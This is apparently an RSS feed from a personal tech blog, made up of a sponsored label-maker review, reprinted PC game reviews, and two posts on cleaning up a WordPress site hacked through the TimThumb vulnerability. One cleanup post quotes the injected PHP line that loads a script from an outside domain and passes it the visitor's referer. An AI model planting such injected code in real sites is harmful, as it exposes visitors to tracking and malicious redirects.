<p style="text-align: justify;">It&#8217;s an interesting mix of products: a piece of plexiglass with a label affixed, sponge, scrub brush, powdered bleach, nail polish remover, and two extra labels.  If this was designed to test the labels then what&#8217;s important in a label?  I&#8217;d say two things: it stays on whatever you affix it to and the writing doesn&#8217;t wear off.  With that I had my criteria.</p>
<p style="text-align: justify;">I took to work on the labeled plexiglass, giving it a rough scrubbing with the bleach powder and brush, then wetting the block and more scrubbing.  Next came the sponge with more water and bleach.  Drying it off I tried the nail polish remover.  Not drying this time I was back at it with the brush and sponge.  At no time did the label loosen from the plexiglass, nor did the writing fade.  I left it a few days for a rinse and repeat but it held up.</p>
<p style="text-align: center;"><a href="http://www.ebabble.net/wp-content/uploads/P-Touch_Baggie.jpg" rel="lightbox[2383]"><img class="size-medium wp-image-2385 aligncenter" title="P-Touch_Baggie" src="http://www.ebabble.net/wp-content/uploads/P-Touch_Baggie-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">The extra labels I applied to two items we use in our home regularly: a food storage bag and a food storage container.  I try and make everything from scratch and have some leftovers for lunches so I use both items all the time, especially in the freezer.  Normally I write on the bag with a permanent marker but that frequently rubs off so we&#8217;re left guessing what things are while standing in front of the freezer letting all the cold air out.</p>
<p style="text-align: center;"><a href="http://www.ebabble.net/wp-content/uploads/P-Touch_Container.jpg" rel="lightbox[2383]"><img class="size-medium wp-image-2386 aligncenter" title="P-Touch_Container" src="http://www.ebabble.net/wp-content/uploads/P-Touch_Container-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">After affixing the labels both went into the freezer for a few days and emerged pretty much the same so no need for before and after photos.  So far Brother and its labels get the job done.</p>
<p style="text-align: justify;">I&#8217;ve also received a <a title="Brother P-Touch Handheld Labellers" href="http://www.brother.ca/en/products/summary1.asp?id=2668513535812699781&amp;sid=6552478501666613010" target="_blank">Brother P-Touch labeller</a> to tackle the kitchen: my goal is to organize and label the raw ingredient cupboards and the freezer.  Yikes!  Watch for that post this December.</p>
<p style="text-align: justify;"><em>I wrote this review while participating in a campaign by Mom Central Consulting on behalf of Brother P-Touch and received product and a gift card to facilitate my review and a promotional item to thank me for taking the time to participate.</em></p>
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		<title>Rune</title>
		<link>http://tech.ebabble.net/rune</link>
		<comments>http://tech.ebabble.net/rune#comments</comments>
		<pubDate>Wed, 31 Aug 2011 13:00:57 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[Gathering Of Developers]]></category>
		<category><![CDATA[PC]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2282</guid>
		<description><![CDATA[Blast from the past: originally published December 22nd 2000.

Lately there hasn’t been much time for game playing, but during those scant free minutes I managed to finish Rune. In case you haven’t heard of it, Rune is a third person hack ‘n slash about Ragnar, a Viking youth sent against the forces of evil to save the world from Ragnarok.  To aid on the journey All Father Odin appears with long monologues to move through the story.  Now that we have some background let’s get into the meat of the game.

Based ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published December 22nd 2000.</em></p>
<div id="Text234LYR">
<p style="text-align: justify;">Lately there hasn’t been much time for game playing, but during those scant free minutes I managed to finish <a href="http://www.runegame.com/" target="_blank">Rune</a>. In case you haven’t heard of it, Rune is a third person hack ‘n slash about Ragnar, a Viking youth sent against the forces of evil to save the world from Ragnarok.  To aid on the journey All Father Odin appears with long monologues to move through the story.  Now that we have some background let’s get into the meat of the game.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/Rune1.jpg" rel="lightbox[2282]"><img class="aligncenter size-medium wp-image-2283" title="Rune1" src="http://www.ebabble.net/wp-content/uploads/Rune1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">Based on the Unreal 3D engine, Rune is just beautiful to look at.  Take a look at the screenshots and judge for yourself.  Fortunately you don’t get much time to stand around as you’re too busy killing everything in site with your assortment of fifteen melee weapons.  But I’m getting ahead of myself.</p>
<p style="text-align: justify;">The game is made up of various settings as you fight through the land, from the pits of Hell to dwarven mountains to your own village.  Each setting is accurately modeled and detailed in a lush and naturalistic way, from flowing waterfalls to blazing pools of lava.</p>
<p style="text-align: justify;">On your journey through these lands you encounter a good mixture of enemies.  Giant beetles, undead warriors, Vikings, dwarves and a few more fight on your every turn.  While the creatures were well done in terms of visual appeal, there wasn’t enough variety. In total there are about ten different enemies to face, and I didn’t like the fact that I faced those beetles at the beginning and all through the game.  The best creatures were the Wendols: an abominable snowman like cat-beast that was tough to face.</p>
<p style="text-align: justify;">Weapons are highly detailed, as is the entire game.  Three categories to work with: swords, axes and hammers, with five weapons per category. You get better weapons as you work through the game, but keep in mind certain weapons do better damage to certain situations.  Each weapon in the hierarchy does more damage but is heavier and slower to use; trade offs have to be made.  I found myself using the three headed or tri-mace for a lot of the game because it had a good balance and the forward attack was an upswing that did the deed.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/Rune2.jpg" rel="lightbox[2282]"><img class="aligncenter size-medium wp-image-2284" title="Rune2" src="http://www.ebabble.net/wp-content/uploads/Rune2-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">Combat is handled simply and effectively; one attack button and four movements allow for a variety of swings and swipes.  Moving forward and attacking with the mace has an upward swing while moving left is a side slash.  Circle strafing is easy to do once you get the hang of the system, and will be needed to finish the game.</p>
<p style="text-align: justify;">Gameplay is straightforward and effective.  You move through the levels killing everything and trying to find your way out. Puzzles abound, but none are too difficult.  All in all a killing fest with a story line to move you along.  Stress relief at it’s finest.</p>
<p style="text-align: justify;">Two enhancements are available to aid you: Rune stones and Berserker rage.  You collect Rune stones throughout the game, and activate your Rune power to get special damage with the weapons.  Each weapon has a different special effect, like invisibility with the hand axe and a blazing fire ring with the tri-mace.  The better the weapon the more Rune power it takes to get the special attack, so judge carefully and use only when necessary. Berserker rage is built up from each blow you strike an enemy; after your red bar hits the end you experience a frenzied attack that does massive damage.  Comes in very handy.</p>
<p style="text-align: justify;">Two nice side features; torches and limbs.  You can use torches to light your way through the dark tunnels, and if they extinguish just place them in a fire to relight. You can also use them to light enemies on fire and watch them scream and run around.  When you hack limbs or heads off of enemies, you can pick them up and throw them or use them for attacks.  There’s nothing like clubbing a ghoul with it’s own severed arm. Which brings up a good point: there is a bit of gore, so keep this one out of the kiddie’s hands.</p>
<p style="text-align: justify;">Rune from Gathering Of Developers and Human Head Studios is a great third person melee game.  Go to <a href="http://www.runegame.com/downloads.php" target="_blank" class="broken_link">here</a> to grab a demo and see for yourself.</p>
</div>
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<p style="text-align: justify;">Rune provided courtesy of Gathering Of Developers.</p>
</div>
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		<title>Compromised By TimThumb</title>
		<link>http://tech.ebabble.net/compromised-by-timthumb</link>
		<comments>http://tech.ebabble.net/compromised-by-timthumb#comments</comments>
		<pubDate>Fri, 26 Aug 2011 18:05:51 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[Sucuri]]></category>
		<category><![CDATA[timthumb]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2376</guid>
		<description><![CDATA[After updating the theme of the compromised site, removing TimThumb completely and  the site I look after still had issues.  I hadn&#8217;t noticed but other users were getting warnings in Chrome and being redirected to various affiliate sites.  The worst was that the site seemed to have been removed from Google so the hits dropped rapidly.
I spotted the redirect going to counter-wordpress.com and then did some internet searching, which brought me to a great thread about cleaning it up.  Using Sucuri SiteCheck I was directed to the source of ...]]></description>
			<content:encoded><![CDATA[<p>After updating the theme of the compromised site, removing TimThumb completely and <a href="http://tech.ebabble.net/timthumb-vulnerability">following clean up procedures</a> the site I look after still had issues.  I hadn&#8217;t noticed but other users were getting warnings in Chrome and being redirected to various affiliate sites.  The worst was that the site seemed to have been removed from Google so the hits dropped rapidly.</p>
<p>I spotted the redirect going to counter-wordpress.com and then did some internet searching, which brought me to a <a href="https://wordpress.org/support/topic/malware-counter-wordpresscom-warning-on-chrome" target="_blank">great thread</a> about cleaning it up.  Using <a href="http://sitecheck.sucuri.net/scanner/" target="_blank">Sucuri SiteCheck</a> I was directed to the source of the redirects, /wp-includes/js/l10n.js, a Java script that was planted through the TimThumb vulnerability.  I deleted the file and re-ran Sucuri SiteCheck and this time nothing was found.  Sigh of relief.</p>
<p>A little more digging on the Sucuri website lead me to a custom WordPress <a href="http://blog.sucuri.net/2011/08/timthumb-php-security-vulnerability-just-the-tip-of-the-iceberg.html" target="_blank">PHP file</a> that can be uploaded and ran to test your WordPress site out.  All in all a very helpful resource.</p>
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		<title>Medal Of Honor: Allied Assault</title>
		<link>http://tech.ebabble.net/medal-of-honor-allied-assault</link>
		<comments>http://tech.ebabble.net/medal-of-honor-allied-assault#comments</comments>
		<pubDate>Wed, 24 Aug 2011 13:00:41 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[EA]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[PC]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2277</guid>
		<description><![CDATA[Blast from the past: originally published April 18th 2002.

I’ve just finished the single player game of Medal Of Honor: Allied Assault ( MOHAA ) and all I can say is “wow”. Like most I’ve grown tired of the first person shooter single player game and sought out online action in Counter Strike and Day of Defeat. How many times can you move through levels killing everything in your path, meeting so-so AI ( artificial intelligence ) and flicking switches. After playing MOHAA it seems worth doing one more time.

Here’s the background story: it’s ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published April 18th 2002.</em></p>
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<p style="text-align: justify;">I’ve just finished the single player game of <a href="http://mohaa.ea.com/index.html" target="_blank">Medal Of Honor: Allied Assault</a> ( MOHAA ) and all I can say is “wow”. Like most I’ve grown tired of the first person shooter single player game and sought out online action in Counter Strike and Day of Defeat. How many times can you move through levels killing everything in your path, meeting so-so AI ( artificial intelligence ) and flicking switches. After playing MOHAA it seems worth doing one more time.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/mohaa-1.jpg" rel="lightbox[2277]"><img class="aligncenter size-medium wp-image-2278" title="mohaa-1" src="http://www.ebabble.net/wp-content/uploads/mohaa-1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">Here’s the background story: it’s World War Two and you’re an officer in the OSS ( Office of Strategic Services, forerunner of the CIA ). Over the course of six missions and twenty levels you’re all over Europe accomplishing a wide variety of missions. You’ll move from standard hunt down and eliminate to tank driving to sniping to all out assaults. MOHAA keeps the missions fresh enough to maintain interest the entire way.</p>
<p style="text-align: justify;">Gameplay is exciting, challenging and engrossing; everything a game should be.  MOHAA is based on the Quake III engine and delivers stunning graphics through the interactive environment and quality character modeling. Lighting and sound play a huge part, drawing you into every level. There are some straightforward shoot and run levels at the beginning, but as you progress stealth and skill take the foreground.</p>
<p style="text-align: justify;">The best levels involve your character skulking around with a bolt action sniper rifle and a single shot silenced pistol. You need to get up close and personal to kill with the pistol, but it must be cocked after each shot so it has to be “one shot one kill”. The sniper rifle is beautifully used throughout the second half of the game, combining slow and patient movements with lightening reflexes when your opportunity for a shot comes. Excuse me for gushing, but until MOHAA I’ve never been drawn into a game environment so completely.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/mohaa-2.jpg" rel="lightbox[2277]"><img class="aligncenter size-medium wp-image-2279" title="mohaa-2" src="http://www.ebabble.net/wp-content/uploads/mohaa-2-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">Along with those two there are a bevy of World War Two weapons, American and German. Some unusual choices include a bazooka for one on ones with tanks and a shotgun for hallway encounters. Nothing out of place, but enough choice to satisfy.</p>
<p style="text-align: justify;">Each level has a series of objectives that must be completed. To help you find your objectives a compass sits in the top left corner, with an arrow that points your way. As you get closer to the objective two balls on either side of the arrow move closer together. Of course going straight to the goal usually brings you into the heaviest opposition and certain death, but it guides the way quite nicely.</p>
<p style="text-align: justify;">Enemy AI isn’t too bad for a shooter, with the usual charge and shoot. A few new features include the enemy sticking their weapon around a corner and firing, or peaking over the edge of a crate and sniping. With so much sniper action in the game it’s quite frustrating at times being killed a bunch of times before you even figure out where the shots are coming from.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/mohaa-3.jpg" rel="lightbox[2277]"><img class="aligncenter size-medium wp-image-2280" title="mohaa-3" src="http://www.ebabble.net/wp-content/uploads/mohaa-3-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">Let me share two great experiences. You’re in a landing craft hitting the Normandy beach. Bullets are whizzing around you as the door drops and those in front get cut down. You tumble into the water and head for protection. All around you shells are exploding, bullets flying and fellow soldiers screaming. It’s a fantastic recreation of the opening scene of Saving Private Ryan. A few levels away you have to clear a town of enemy snipers, building by building. Creeping along the walls you keep switching to scope trying to find the enemies. No sound but your footsteps. Pop your head out and take a quick look. I could cut the tension with a knife. A fantastic homage to Enemy At The Gates.</p>
<p style="text-align: justify;">Requirements to get MOHAA at full detail are daunting, but everything can be scaled down until you’re happy. My main system ran fine at 1280&#215;1024 with every detail set to maximum. I tried a few levels at 800&#215;600 with minimum detail and I was still drawn in completely, but it’s hard to go back once you’ve seen full textures on the buildings, sky and characters.</p>
<p style="text-align: justify;">It took me the better part of three weeks worth of nights to finish the game, which is pretty good by today’s standards. I couldn’t get the multiplayer working; you have to use Gamespy arcade and it never let me connect to a game. I’m told it’s better than Day Of Defeat, but I’ll have to see for myself.</p>
<p style="text-align: justify;">I’d like to take a moment and mention the packaging. Electronic Arts is now using a small box format for it’s titles; basically a cardboard box the size of a DVD case but three times as thick. This is a great step towards ideal packaging, with a DVD case only being the best. CDV is doing this now, as has Firaxis games in the past.</p>
<p style="text-align: justify;">If you enjoy the genre and want a fantastic experience then pick up a copy of Medal Of Honor: Allied Assault. Of course don’t take my word for it: single player and multiplayer demos are <a href="http://mohaa.ea.com/downloads/demo.html" target="_blank">available</a>.</p>
</div>
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		<title>Sudden Strike Forever</title>
		<link>http://tech.ebabble.net/sudden-strike-forever</link>
		<comments>http://tech.ebabble.net/sudden-strike-forever#comments</comments>
		<pubDate>Wed, 17 Aug 2011 13:00:44 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Strategy First]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2271</guid>
		<description><![CDATA[Blast from the past: originally published October 19th 2001.

I love the expansion pack. Take a game I’ve spent hours enjoying, add more to it and let me enjoy it for a more hours. Not much new to learn, just more of the same good times with more added. I had laboured for countless hours playing Sudden Strike, a RTS ( real time strategy ) title set in World War Two. For a full rundown check out my .
Let’s get right to it: what does Sudden Strike Forever bring to the table? The biggest items are ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published October 19th 2001.</em></p>
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<p style="text-align: justify;">I love the expansion pack. Take a game I’ve spent hours enjoying, add more to it and let me enjoy it for a more hours. Not much new to learn, just more of the same good times with more added. I had laboured for countless hours playing Sudden Strike, a RTS ( real time strategy ) title set in World War Two. For a full rundown check out my <a href="http://tech.ebabble.net/sudden-strike">review</a>.</p>
<p style="text-align: justify;">Let’s get right to it: what does Sudden Strike Forever bring to the table? The biggest items are difficulty levels, a ton of new units and new map types. Also of note are new multiplayer games and maps, the separation of Allies into Britain and United States, movement types and better experience handling.</p>
<p style="text-align: justify;">As I played through the original, I found myself reaching a map with each side where no matter what I couldn’t win. Now the option of selecting difficulty allows some latitude, choosing between easy, medium and hard. Truth be told, I’m still having trouble on the easy setting. Sudden Strike requires a commitment from it’s players; you can’t expect to proceed through the game without learning it’s secrets.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/ss_forever_1.jpg" rel="lightbox[2271]"><img class="aligncenter size-medium wp-image-2275" title="ss_forever_1" src="http://www.ebabble.net/wp-content/uploads/ss_forever_1-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">If you thought the number of units was dizzying before, prepare yourself. More than 30 new units have been added, balancing out the sides and providing unique items to each force. Along with the new weapons is the ability for vehicles to back up, which was a real pain in the original. Now you can reverse and fire on oncoming enemies.</p>
<p style="text-align: justify;">The new map types give some variety to the terrain. Battles take place on deserts, plus summer, winter and autumn. A small thing but it breaks up the maps.</p>
<p style="text-align: justify;">As with any expansion pack, new missions have been added. Twelve single player and twenty multiplayer bring some new challenges. Multiplayer maps had been about capturing zeppelins to gain reinforcements; now you can play with a set number of troops and not worry about dashing around the map with empty supply trucks trying to hold every zeppelin.</p>
<p style="text-align: justify;">Previously officers added better line of sight to units; now they add experience to any troops close to them. As well officers can use their binoculars for determining field of view.</p>
<p><a href="http://www.ebabble.net/wp-content/uploads/ss_forever_2.jpg" rel="lightbox[2271]"><img class="aligncenter size-medium wp-image-2274" title="ss_forever_2" src="http://www.ebabble.net/wp-content/uploads/ss_forever_2-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">Something many will appreciate is a map editor. While I don’t enjoy tinkering much, the number of maps available on the internet indicate I’m a minority. Customize to your hearts content; a ton of options available here make designing custom maps each to do.</p>
<p style="text-align: justify;">To bottom line Sudden Strike Forever is to say it adds more of what you enjoyed in the original. If you had a good time before, get this title.</p>
</div>
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<p style="text-align: justify;">Sudden Strike Forever provided courtesy of <a href="http://www.cdv.de/" target="_blank">CDV</a>.</p>
</div>
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		<title>TimThumb Vulnerability</title>
		<link>http://tech.ebabble.net/timthumb-vulnerability</link>
		<comments>http://tech.ebabble.net/timthumb-vulnerability#comments</comments>
		<pubDate>Mon, 15 Aug 2011 18:15:46 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[timthumb]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2372</guid>
		<description><![CDATA[As I read through my tech news a few weeks ago I took note of a TimThumb vulnerability that allowed bad people to do bad things to your website.  Recommended solution was to replace TimThumb.php with the latest version available online.  A lot of WordPress themes use TimThumb to auto resize images for front pages and the like.  Shortly thereafter I received an email from Elegant Themes advising to update all their themes to the latest version which now did not employ TimThumb, then make sure TimThumb.php and it&#8217;s cache ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">As I read through my tech news a few weeks ago I took note of a TimThumb vulnerability that allowed bad people to do bad things to your website.  Recommended solution was to replace <a title="TimThumb.php latest" href="https://timthumb.googlecode.com/svn/trunk/timthumb.php" target="_blank">TimThumb.php</a> with the latest version available online.  A lot of WordPress themes use TimThumb to auto resize images for front pages and the like.  Shortly thereafter I received an email from <a href="http://www.elegantthemes.com/affiliates/idevaffiliate.php?id=8820_0_1_3" target="_blank">Elegant Themes</a> advising to update all their themes to the latest version which now did not employ TimThumb, then make sure TimThumb.php and it&#8217;s cache folder were deleted.  I made a not to get those things done.</p>
<p style="text-align: justify;">Unfortunately one of the sites I look after had already been affected, so when I went through the upgrade procedures everything seemed fine but I had a popunder ad the next day.  Some Google searches didn&#8217;t reveal much so I needed more information.  I checked the page source in my browser and noticed this line at the bottom outside the HTML tag:</p>
<p><code>echo '&lt;script type="text/javascript" language="javascript" src="http://superpuperdomain2.com/count.php?ref='.urlencode($_SERVER['HTTP_REFERER']) .'"&gt;&lt;/script&gt;';</code></p>
<p style="text-align: justify;">A Google search brought me to TECHspheria and their excellent <a href="http://techspheria.com/2011/08/phpremoteview-hack-what-it-is-and-how-to-remove-it/" target="_blank">removal instructions</a>.  Changing all your passwords after something like this is a great idea as well.  Scary business.</p>
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		<title>Sudden Strike</title>
		<link>http://tech.ebabble.net/sudden-strike</link>
		<comments>http://tech.ebabble.net/sudden-strike#comments</comments>
		<pubDate>Wed, 10 Aug 2011 13:00:48 +0000</pubDate>
		<dc:creator>Scott VanderPloeg</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[game]]></category>
		<category><![CDATA[PC]]></category>
		<category><![CDATA[Strategy First]]></category>

		<guid isPermaLink="false">http://www.ebabble.net/?p=2267</guid>
		<description><![CDATA[Blast from the past: originally published March 9th 2001.


Quite a few games from Europe have caused a stir in North America, but none as much as Sudden Strike.  This real time strategy cleaned up the awards from the European gaming community last year and has finally hit our shores.
Sudden Strike wowed me from the get go for it’s straight forward gameplay and excellent graphics. I say this in the face of quite a few negative reviews I’ve read, all of which seem to miss the point of this title.
This is a ...]]></description>
			<content:encoded><![CDATA[<p><em>Blast from the past: originally published March 9th 2001.</em></p>
<p style="text-align: center;"><a href="http://www.ebabble.net/wp-content/uploads/ss_-_one.jpg" rel="lightbox[2267]"><img class="size-medium wp-image-2268 aligncenter" title="Sudden Strike 1" src="http://www.ebabble.net/wp-content/uploads/ss_-_one-300x225.jpg" alt="" width="300" height="225" /></a></p>
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<p style="text-align: justify;">Quite a few games from Europe have caused a stir in North America, but none as much as <a href="http://www.suddenstrike.com/english/index_news.html" target="_blank">Sudden Strike</a>.  This real time strategy cleaned up the awards from the European gaming community last year and has finally hit our shores.</p>
<p style="text-align: justify;">Sudden Strike wowed me from the get go for it’s straight forward gameplay and excellent graphics. I say this in the face of quite a few negative reviews I’ve read, all of which seem to miss the point of this title.</p>
<p style="text-align: justify;">This is a real time strategy game set in World War II.  Playing allies, Germans or Russians ( should be Soviets ) you start each mission with an excellent briefing outlining objectives and opportunities.  You’re assigned a set number of troops and must complete the mission with what you’ve got.  If you’re lucky reinforcements, supplies or air support are provided to assist in meetings your goals.  There’s no building, harvesting resources or training involved: you’ve got what your given and that’s it.</p>
<p style="text-align: justify;">A variety of units are at your disposal, but fall into four categories; troops, armour, artillery and support.  Each category has a variety of units available, and all four categories must be used together to finish the missions.  Officers have the best sighting, and should be used with artillery that have the best range but poor sighting.  Infantry and tanks must advance together or you’ll loose.  While the variety is plentiful it gets hard to distinguish units at the highest resolution of 1024&#215;768; I separate my units into groups and use them like that to keep things organized.</p>
<p style="text-align: center;"><a href="http://www.ebabble.net/wp-content/uploads/ss_-_two.jpg" rel="lightbox[2267]"><img class="size-medium wp-image-2269 aligncenter" title="Sudden Strike 2" src="http://www.ebabble.net/wp-content/uploads/ss_-_two-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: justify;">The key to the game is managing what you have effectively, repairing your units, retreating if necessary. We’ve become so used to just building a fleet of whatever the best unit is and swarming the enemy.  Rushing the enemy just doesn’t work, because you’ll be crushed by artillery before you know what happened.</p>
<p style="text-align: justify;">Gameplay is smooth but slow.  Since you’ve got to really plan each advance and attack a mission might take 3 or 4 hours.  To ease this a bit you can pause the game, issue orders and then resume.  The graphics are simply gorgeous, with rich details and smooth operation.  Sound is a so-so affair, with some language problems and muddled dialogue.  The entire map can be destroyed, from houses and bridges to trees and shrubs.  By the end of a mission black craters cover the landscape from your artillery and tank shells.</p>
<p style="text-align: justify;">Controlling units is straight forward: click on a unit and a square with 9 boxes appears at the bottom. Depending on the unit some or all of the boxes will be used providing options like assault, cover, stop, attack, repair.  Dragging a box around a group selects them all, and double clicking a unit selects all of that type currently on the screen.  Assign groups to hotkeys, same as all the other real time strategy titles.</p>
<p style="text-align: justify;">Multiplayer is handle much differently than others.  You pick a map, team and nationality and the game launches.  Scattered around the map are zeppelins; capture them all and eliminate the opponents to win.  If you don’t have a zeppelin you loose in 5 minutes.  Capture enemy zeppelins to receive precious reinforcements.  At first I didn’t like this at all, but it seems to be the only fair way to do it.  If one side had to capture and one defend, then the defenders would have an undue advantage.  How else could you fairly give reinforcements, but by taking ground from the enemy?</p>
<p style="text-align: justify;">The game’s not perfect, but the faults are few.  I keep having trouble with trucks getting stuck in the woods and not being able to get out.  As well the sound is buggy, and the infantry units are quite small.  In the grand scheme small problems indeed for such and excellent game.</p>
<p style="text-align: justify;">Don’t take my word for it: grab a copy of the <a href="http://www.suddenstrike.com/english/demo.html" target="_blank">demo</a> and see for yourself.</p>
</div>
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<p style="text-align: justify;">Sudden Strike provided courtesy of <a href="http://www.strategyfirst.com/" target="_blank">Strategy First</a>.</p>
</div>
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